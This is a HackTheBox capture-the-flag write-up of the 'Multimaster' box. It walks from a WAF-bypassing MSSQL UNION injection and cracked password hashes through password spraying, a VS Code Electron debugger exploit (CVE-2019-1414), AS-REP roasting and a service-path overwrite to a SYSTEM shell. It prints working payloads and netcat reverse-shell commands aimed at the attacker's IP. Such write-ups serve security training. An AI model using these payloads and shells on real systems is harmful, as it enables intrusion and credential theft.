Multimaster is an insane level box on HackTheBox that was pretty difficult. It used a variety of technologies and techniques in order to gain Domain Admin. There wasn’t a significant emphasis on the Active Directory aspect, but it was still very interesting and helped me refine some of my skills.

Walkthrough

Recon

An nmap scan, followed by a full port and script scan, reveals the following information:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 403 - Forbidden: Access is denied.
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-04-18 02:37:10Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds  Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp
| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
| Not valid before: 2022-04-17T02:28:51
|_Not valid after:  2022-10-17T02:28:51
|_ssl-date: 2022-04-18T02:39:26+00:00; +14m29s from scanner time.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.70%I=7%D=4/17%Time=625CCB76%P=i686-pc-windows-windows%r(
SF:DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07vers
SF:ion\x04bind\0\0\x10\0\x03");
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h59m29s, deviation: 3h30m01s, median: 14m28s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: MULTIMASTER
|   NetBIOS computer name: MULTIMASTER\x00
|   Domain name: MEGACORP.LOCAL
|   Forest name: MEGACORP.LOCAL
|   FQDN: MULTIMASTER.MEGACORP.LOCAL
|_  System time: 2022-04-17T19:39:27-07:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2022-04-17 19:39:30
|_  start_date: 2022-04-17 19:28:58

A pretty standard domain controller. The isn’t anything too interesting, except for the website. It seems like a mostly static, custom site, with a non-functional login page, but then there is a Colleague Finder function that seems to be very odd.

After fuzzing around it for a bit, it seems there’s a WAF intended against SQL injection, entering a blank entry causes all colleagues to appear, and that requests send hits to an API endpoint.

POST /api/getColleagues HTTP/1.1
Host: 10.10.10.179
Content-Length: 15
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://10.10.10.179
Referer: http://10.10.10.179/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"name":"bruh"}

After trying out some WAF bypass tecniques, I found that unicode encoding works. Using Cyber Chef, I was able to make a successful injection under the “name” POST value.

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 22 Apr 2022 03:54:01 GMT
Connection: close
Content-Length: 1821

[{"id":1,"name":"Sarina Bauer","position":"Junior Developer","email":"sbauer@megacorp.htb","src":"sbauer.jpg"},{"id":2,"name":"Octavia Kent","position":"Senior Consultant","email":"okent@megacorp.htb","src":"okent.jpg"},

Something to note is that in our injections, we have visible output returned to us. We abuse this with UNION injection, a technique that is similar to combining multiple select statements. The results of the UNION statement must have the same amount of columns returned to us, and since there are 5 parameters returned normally (id, name, position, email, and src), it’s safe to assume our UNION statement should have 5 columns or return values, too. Additionally, to kill two birds with one stone, I’ll use a call to the “@@version” variable to see if the database is MSSQL. Using the following payload (unencoded),

something' UNION select 1,2,3,4,@@version;--

we get this output:

[{"id":1,"name":"2","position":"3","email":"4","src":"Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64) \n\tAug 22 2017 17:04:49 \n\tCopyright (C) 2017 Microsoft Corporation\n\tStandard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)\n"}]

We can confirm we have MSSQL UNION injection. I proceeded to use the following unencoded payloads to enumerate the database:

something' UNION select 1,2,3,4,name from master.dbo.sysdatabases;--
something' UNION select 1,2,3,4,table_name from Hub_DB.INFORMATION_SCHEMA.TABLES;--
something' UNION select 1,2,3,4,COLUMN_NAME from Hub_DB.INFORMATION_SCHEMA.COLUMNS where table_name = 'Logins';--

I tried using “sqlmap” at first, but it appears this website will temporarily ip ban us if we hit it with too many requests, so I did this manually. The first payload returns to us all of the databases on the service; I learned that our database was named “Hub_DB”. The second statement enumerated the tables of our database and returned to us the “Logins” table (ours was the “Colleagues” table). The last payload enumerated the columns of the “Logins” table, returning “id”, “password”, and “username”. Since we’re already in the “Hub_DB” database, we can just have our UNION statement directly pull from the columns of the “Logins” table with the following payload:

something' UNION select 1,1,id,password,username from Logins;--

This returns to us a lot of valuable information:

[{"id":1,"name":"1","position":"1","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"sbauer"},{"id":1,"name":"1","position":"2","email":"fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa","src":"okent"},{"id":1,"name":"1","position":"3","email":"68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813","src":"ckane"},{"id":1,"name":"1","position":"4","email":"68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813","src":"kpage"},{"id":1,"name":"1","position":"5","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"shayna"},{"id":1,"name":"1","position":"6","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"james"},{"id":1,"name":"1","position":"7","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"cyork"},{"id":1,"name":"1","position":"8","email":"fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa","src":"rmartin"},{"id":1,"name":"1","position":"9","email":"68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813","src":"zac"},{"id":1,"name":"1","position":"10","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"jorden"},{"id":1,"name":"1","position":"11","email":"fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa","src":"alyx"},{"id":1,"name":"1","position":"12","email":"68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813","src":"ilee"},{"id":1,"name":"1","position":"13","email":"fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa","src":"nbourne"},{"id":1,"name":"1","position":"14","email":"68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813","src":"zpowers"},{"id":1,"name":"1","position":"15","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"aldom"},{"id":1,"name":"1","position":"16","email":"cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc","src":"minatotw"},{"id":1,"name":"1","position":"17","email":"cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc","src":"egre55"}]

Time to crack some hashes! It was a bit tough to find the hash type, but it was some form of SHA-384. After trying that and failing, I checked hashcat examples and tried the “Keccak-384” format, mode 17900. This works, and the following hashes were cracked:

fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa:banking1
9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739:password1
68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813:finance1

Time to spray them with “crackmapexec”. We already have a userlist from our UNION injection, so we can just compile a userlist and password list and feed it into the tool

┌──(root💀kali)-[/home/kali/HackTheBox/multimaster]
└─# crackmapexec smb 10.10.10.179 -u users.txt -p pass.txt --continue

However, none of them work. There is a possibility that there are more users than just those from the UNION injection. Also, it turns out you can enumerate AD users via MSSQL, so it looks like that must be the play here. MSSQL can actually pull the SID of a domain object while also matching a SID to a domain object, but these are in a certain hex format. By pulling a domain object SID and truncating it to obtain the domain SID, it is possible to convert a relative id (RID) and append it to the domain SID to perform a lookup and enumerate a domain object. Rather than brute forcing the users ourselves, the article also conveniently has a script for this. The script was really buggy, though; first, it couldn’t parse the HTTP request correctly, so I had to hard-code the host in the code in line 296 (url = 'http://10.10.10.179/api/getColleagues'). Secondly, it wasn’t returning the domain users (despite the api returning them when I checked wireshark).

I had to modify the code on line 379, where the username is declared. I simply made it print the username (print(username)), and now I got a list of users (and groups) on my hand by running the script like so:

┌──(root💀kali)-[/home/kali/HackTheBox/multimaster]
└─# python3 duet.py -i "something'" -rid 1100-1200 -p name -r request.txt -t 4 -e unicode

====================================OUTPUT====================================
[+] Enumerating Active Directory via SIDs...
MEGACORP\\DnsAdmins
MEGACORP\\DnsUpdateProxy
MEGACORP\\svc-nas
MEGACORP\\Privileged IT Accounts
MEGACORP\\tushikikatomo
MEGACORP\\andrew
MEGACORP\\lana

I specified the rid to start at 1100, because thats where domain users typically begin. We also had to specify a sleep time because of the ip banning. Lastly, there is a convenient option to unicode the paylods to bypass the WAF. Adding these users to the list, I rerun my spray from before, and we get a hit!

┌──(root💀kali)-[/home/kali/HackTheBox/multimaster]
└─# crackmapexec smb 10.10.10.179 -u users.txt -p pass.txt
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\svc-nas:password1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\svc-nas:banking1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\svc-nas:finance1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\tushikikatomo:password1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\tushikikatomo:banking1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\tushikikatomo:finance1

As with all AD boxes, I immediately ran “bloodhound-python” to enumerate the domain, and I also managed to WinRM in.

┌──(root💀kali)-[/home/kali/HackTheBox/multimaster]
└─# evil-winrm -i 10.10.10.179 -u tushikikatomo -p finance1

Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alcibiades\Documents>
┌──(root💀kali)-[/home/kali/HackTheBox/multimaster/temp]
└─# bloodhound-python -u 'tushikikatomo' -p 'finance1' -d megacorp.local -ns 10.10.10.179 -c all

INFO: Found AD domain: megacorp.local
INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
INFO: Found 27 users
INFO: Connecting to GC LDAP server: MULTIMASTER.MEGACORP.LOCAL
INFO: Found 56 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: MULTIMASTER.MEGACORP.LOCAL
INFO: Done in 00M 21S

Putting the data in “bloodhound”, we see this:

Our user, tushikikatomo is able to remotely access the computer via WinRM. There is another user, sbauer, that has “GenericWrite” on jorden, meaning that they write some properties, such as “DONT_REQ_PREAUTH”, onto jorden, making them ASREProastable. Lastly, jorden is a Server Operator, which is a group that can easily escalate privileges via SeRestore and SeBackup privileges. It seems our path is to make our way to sbauer so we can gain access to jorden, leading us to compromise the domain controller. Let’s get started.

Foothold

In my evil-winrm session, I try to enumerate some privilege escalation vectors with winpeas, but there seems to be some form of AV detecting it. After looking at the groups in the domain, I noticed there was a “developer” group, which stuck out to me since it isn’t a default group. Additionally there is Microsoft VS Code running, which makes sense based on the group name. I looked for privilege escalation related to VS code, and found CVE-2019-1414. Basically, applications running under the Electron framework in VS code have their debugger port enabled locally by default and javascript can be injected into this port. More details can be found on this article. Within my WinRM session, I enumerated the processes running via “ps” (its pretty neat too, since it sometimes works when I don’t have permissions for tasklist).

*Evil-WinRM* PS C:\Users\alcibiades\Documents> ps                                                                     
                                                                                                                      
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    413      22    17332       7060               404   1 Code         
    657      47    32448      67628              1704   1 Code       
    318      32    40896      26752              2656   1 Code       
    404      54    95240      89440              3756   1 Code    
    403      53    94484      40424              4568   1 Code    
    214      15     6112       4188              5092   1 Code   
    278      51    57672      74616              5320   1 Code    
    277      51    57812      44980              5716   1 Code    
    276      51    57560      14608              6624   1 Code       
    404      55    96472     135636              6760   1 Code 

And then I checked listening TCP ports

*Evil-WinRM* PS C:\Users\alcibiades\Documents> netstat -anop TCP

Active Connections
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       2428
  TCP    127.0.0.1:1434         0.0.0.0:0              LISTENING       3408
  TCP    127.0.0.1:2148         0.0.0.0:0              LISTENING       5320
  TCP    127.0.0.1:4517         0.0.0.0:0              LISTENING       5716
  TCP    127.0.0.1:10443        0.0.0.0:0              LISTENING       6624

It seems pretty likely that there is an Electron application running; notice how process 5716, “Code”, is also listening locally on 4517/tcp. This Github repo has a tool that automatically detects a port and is able to inject into it. I’ll upload the tool and use a ping test to see if it works.

*Evil-WinRM* PS C:\Users\alcibiades\Documents> .\cefdebug.exe
cefdebug.exe : [2022/04/21 23:25:05:9854] U: There are 6 tcp sockets in state listen.
    + CategoryInfo          : NotSpecified: ([2022/04/21 23:...n state listen.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
[2022/04/21 23:25:26:0629] U: There were 4 servers that appear to be CEF debuggers.
[2022/04/21 23:25:26:0629] U: ws://127.0.0.1:37224/2d6f7524-0714-4916-8004-3ed04d79623b
[2022/04/21 23:25:26:0629] U: ws://127.0.0.1:30749/1cdb8fc2-f55d-41f1-b8e4-eaccbba3352c
[2022/04/21 23:25:26:0629] U: ws://127.0.0.1:11373/777cea14-c2ba-4d5c-9ebb-ac3fad43d407
[2022/04/21 23:25:26:0629] U: ws://127.0.0.1:49149/05e41fb2-fcd7-4a00-8e10-530e0dc3137b

*Evil-WinRM* PS C:\Users\alcibiades\Documents> ./cefdebug.exe --url ws://127.0.0.1:49149/05e41fb2-fcd7-4a00-8e10-530e0dc3137b --code "process.mainModule.require('child_process').exec('ping /n 2 10.10.16.2')"
cefdebug.exe : [2022/04/21 23:25:57:5773] U: >>> process.mainModule.require('child_process').exec('ping /n 2 10.10.16.2')
    + CategoryInfo          : NotSpecified: ([2022/04/21 23:... 2 10.10.16.2'):String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
[2022/04/21 23:25:57:5773] U: <<< ChildProcess

┌──(root💀kali)-[/home/kali]
└─# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
02:02:14.170085 IP bruh.htb > 10.10.16.2: ICMP echo request, id 1, seq 1, length 40
02:02:14.170110 IP 10.10.16.2 > bruh.htb: ICMP echo reply, id 1, seq 1, length 40
02:02:15.129116 IP bruh.htb > 10.10.16.2: ICMP echo request, id 1, seq 2, length 40
02:02:15.129130 IP 10.10.16.2 > bruh.htb: ICMP echo reply, id 1, seq 2, length 40

Sweet, it works, despite the errors being shown. I can’t upload an msfvenom payload because of the antivirus, but it seems a netcat binary works.

*Evil-WinRM* PS C:\Users\alcibiades\Documents> upload nc64.exe
Info: Uploading nc64.exe to C:\Users\alcibiades\Documents\nc64.exe

Data: 60360 bytes of 60360 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\alcibiades\Documents> ls

    Directory: C:\Users\alcibiades\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/21/2022  11:04 PM         259584 cefdebug.exe
-a----        4/21/2022  11:28 PM          45272 nc64.exe

Now all I have to do it just spin up a listener and catch the shell. I also need to put the netcat binary in a globally accessible folder, so whoever is running VScode can actually access the binary.

*Evil-WinRM* PS C:\Users\alcibiades\Documents> ./cefdebug.exe
cefdebug.exe : [2022/04/21 23:32:44:9695] U: There are 5 tcp sockets in state listen.
    + CategoryInfo          : NotSpecified: ([2022/04/21 23:...n state listen.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
[2022/04/21 23:33:05:0479] U: There were 3 servers that appear to be CEF debuggers.
[2022/04/21 23:33:05:0479] U: ws://127.0.0.1:16979/9ca0f5a9-61d3-40c8-adb5-6ed0886a8186
[2022/04/21 23:33:05:0479] U: ws://127.0.0.1:1568/51b11c8d-8d85-41ce-b3e2-f5ddcece7562
[2022/04/21 23:33:05:0479] U: ws://127.0.0.1:54266/856b444e-b749-449f-8e5f-bf294652d70b
*Evil-WinRM* PS C:\Users\alcibiades\Documents> mkdir \bruh

    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        4/21/2022  11:33 PM                bruh

*Evil-WinRM* PS C:\Users\alcibiades\Documents> copy nc64.exe \bruh\
*Evil-WinRM* PS C:\Users\alcibiades\Documents> ./cefdebug.exe --url ws://127.0.0.1:16979/9ca0f5a9-61d3-40c8-adb5-6ed0886a8186 --code "process.mainModule.require('child_process').exec('\\bruh\\nc64.exe -e cmd 10.10.16.2 445')"
cefdebug.exe : [2022/04/21 23:33:39:0457] U: >>> process.mainModule.require('child_process').exec('\\bruh\\nc64.exe -e cmd 10.10.16.2 445')
    + CategoryInfo          : NotSpecified: ([2022/04/21 23:...0.10.16.2 445'):String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
[2022/04/21 23:33:39:0457] U: <<< ChildProcess

┌──(root💀kali)-[/home/kali]
└─# rlwrap nc -nvlp 445                                                                                                                   
Ncat: Listening on 0.0.0.0:445
Ncat: Connection from 10.10.10.179.
Ncat: Connection from 10.10.10.179:51578.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Program Files\Microsoft VS Code>whoami
megacorp\cyork

it seems we’ve reached another user, but not quite the one we want (sbauer). This one also appears to be in the “Developers” group. Like last time, there’s no winpeas, but after manually enumerating some files and ACLs, I did notice that this user has access to the webroot directory. Remember how MSSQL is running? Theoretically, there should be some sort of file here that makes the connection to the database, and that file should have the creds to the database which we can spray. Although there are no .aspx files, I found it odd that there was a “bin” folder.

Directory of C:\inetpub\wwwroot

01/07/2020  10:28 PM    <DIR>          .
01/07/2020  10:28 PM    <DIR>          ..
01/07/2020  10:28 PM    <DIR>          aspnet_client
01/07/2020  10:28 PM    <DIR>          assets
01/07/2020  10:28 PM    <DIR>          bin
01/07/2020  10:28 PM    <DIR>          Content
01/07/2020  11:50 PM    <DIR>          css
01/06/2020  05:49 PM             3,614 favicon.ico
01/07/2020  10:28 PM    <DIR>          fonts
01/06/2020  11:36 PM                98 Global.asax
01/07/2020  10:28 PM    <DIR>          images
01/07/2020  10:28 PM    <DIR>          img
01/07/2020  11:52 PM             1,098 index.html
01/07/2020  11:50 PM    <DIR>          js
01/07/2020  10:28 PM    <DIR>          Scripts
01/07/2020  10:28 PM    <DIR>          Views
01/09/2020  05:13 AM             3,640 Web.config
               4 File(s)          8,450 bytes
              13 Dir(s)   6,584,827,904 bytes free

C:\inetpub\wwwroot>

Most of the files, based on their modification date, seem to be default. But there are two that stick out to me due to their name and modification date; the MultimasterAPI files. I’ll copy them over to my Kali machine by hosting an smb server with “impacket” and I’ll try to decompile them.

┌──(root💀kali)-[/home/kali/HackTheBox/multimaster]                                                                   
└─# impacket-smbserver share . -smb2support                                                                           

I ran “strings” multiple times with different encodings, and found that 16 bit encoding nets something useful

┌──(root💀kali)-[/home/kali/HackTheBox/multimaster]
└─# strings -eb apidll

...
erver=localhost;database=Hub_DB;uid=finder;password=D3veL0pM3nT!;

It seems this is how the webpage was able to communicate and make SQL queries. Spraying this password in a similar fashion as before gives us a hit to sbauer, and we can now utilize WinRM for a shell.

Privilege Escalation

Time to continue our kill chain. I could use my GenericWrite as sbauer over jorden to make him ASREProastable and crack the hash if jorden has a weak password.

*Evil-WinRM* PS C:\Users\sbauer\Documents> get-aduser 'jorden' | set-adaccountcontrol -doesnotrequirepreauth 1

┌──(root💀kali)-[/home/kali/HackTheBox/multimaster]
└─# impacket-GetNPUsers megacorp.local/'sbauer':'D3veL0pM3nT!' -dc-ip 10.10.10.179 -request
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Name    MemberOf                                      PasswordLastSet             LastLogon  UAC      
------  --------------------------------------------  --------------------------  ---------  --------
jorden  CN=Developers,OU=Groups,DC=MEGACORP,DC=LOCAL  2020-01-09 19:48:17.503303  <never>    0x410200 


$krb5asrep$23$jorden@MEGACORP.LOCAL:386bc264be355689e24f3b3ef2f65358$4a360543309d1dac3a6d38f997e40faf4320af7d06fa5694592c366b9199894ff538152703fe1990901fab235ea8a579d8ec86b7cefe89e47b21917f06050c2679339203a14e64003dffdc8714ae823b9754002445b4cdef75134ed5af6697d19ee95d00301a5c48f49c1cb91830351e57fcb2c42b6251083326e0c134032e2290bee5b4346f56db469f50ea3bbf041b515ebe9b7d99124298d20ae13f7551c4928a6501e7d8f3ed189afdf7ea084dbdf6cf743253d3817842effa8722f68e542b4c3cc7f0f150bcfa0a5f17200f9e6f6f89c0190fdd88d3555856a8a5097368482af9222054fb6739dc3a56acb3307f

And the hash manages to crack to:

$krb5asrep$23$jorden@MEGACORP.LOCAL:386bc264be355689e24f3b3ef2f65358$4a360543309d1dac3a6d38f997e40faf4320af7d06fa5694592c366b9199894
ff538152703fe1990901fab235ea8a579d8ec86b7cefe89e47b21917f06050c2679339203a14e64003dffdc8714ae823b9754002445b4cdef75134ed5af6697d19ee
95d00301a5c48f49c1cb91830351e57fcb2c42b6251083326e0c134032e2290bee5b4346f56db469f50ea3bbf041b515ebe9b7d99124298d20ae13f7551c4928a650
1e7d8f3ed189afdf7ea084dbdf6cf743253d3817842effa8722f68e542b4c3cc7f0f150bcfa0a5f17200f9e6f6f89c0190fdd88d3555856a8a5097368482af922205
4fb6739dc3a56acb3307f:rainforest786

And we can evil-winrm our way in. Remember that jorden is in the Server Operators group, so we have the following privileges.

*Evil-WinRM* PS C:\Users\jorden\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== =======
SeMachineAccountPrivilege     Add workstations to domain          Enabled
SeSystemtimePrivilege         Change the system time              Enabled
SeBackupPrivilege             Back up files and directories       Enabled
SeRestorePrivilege            Restore files and directories       Enabled
SeShutdownPrivilege           Shut down the system                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Enabled
SeTimeZonePrivilege           Change the time zone                Enabled

There are many ways to go about this. My personal choice is leverage the SeRestore privilege only; users with this privilege have write access to any file and registry keys on the system. All users can start the seclogon service, so we can overwrite the registry key specifying its image path, and then start it for a shell. Since this will prompt us to confirm if we want to overwrite its current image path, we need a normal reverse shell. I’ll call netcat to gain a reverse shell, overwrite the key, then start the service and listen to catch a SYSTEM shell.

*Evil-WinRM* PS C:\Users\jorden\Documents> \bruh\nc64.exe -e cmd.exe 10.10.16.2 4444

C:\Users\jorden\Documents> reg add hklm\system\currentcontrolset\services\seclogon /v imagepath /t reg_sz /d "\bruh\nc64.exe -e cmd.exe 10.10.16.2 4444"

Value imagepath exists, overwrite(Yes/No)? y
The operation completed successfully.

C:\Users\jorden\Documents>sc start seclogon

┌──(root💀kali)-[/home/kali]
└─# rlwrap nc -nvlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.179.
Ncat: Connection from 10.10.10.179:51921.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
nt authority\system

Our shell dies after a while because the service thinks its failing to start, but we basically have a shell.

Afterthoughts

This was a pretty cool box since there was a lot of interesting attack vectors. The Electron CVE and reading into the binaries of the IIS server caught my eye in particular. Also, its always fun getting to practice some tough UNION injection. Like Sizzle, this box was also vulnerable to ZeroLogon which was tempting to abuse. This box isn’t doesn’t have as much Active Directory as I would have expected, but I think its still a solid box.

-Dylan Tran 4/22/2022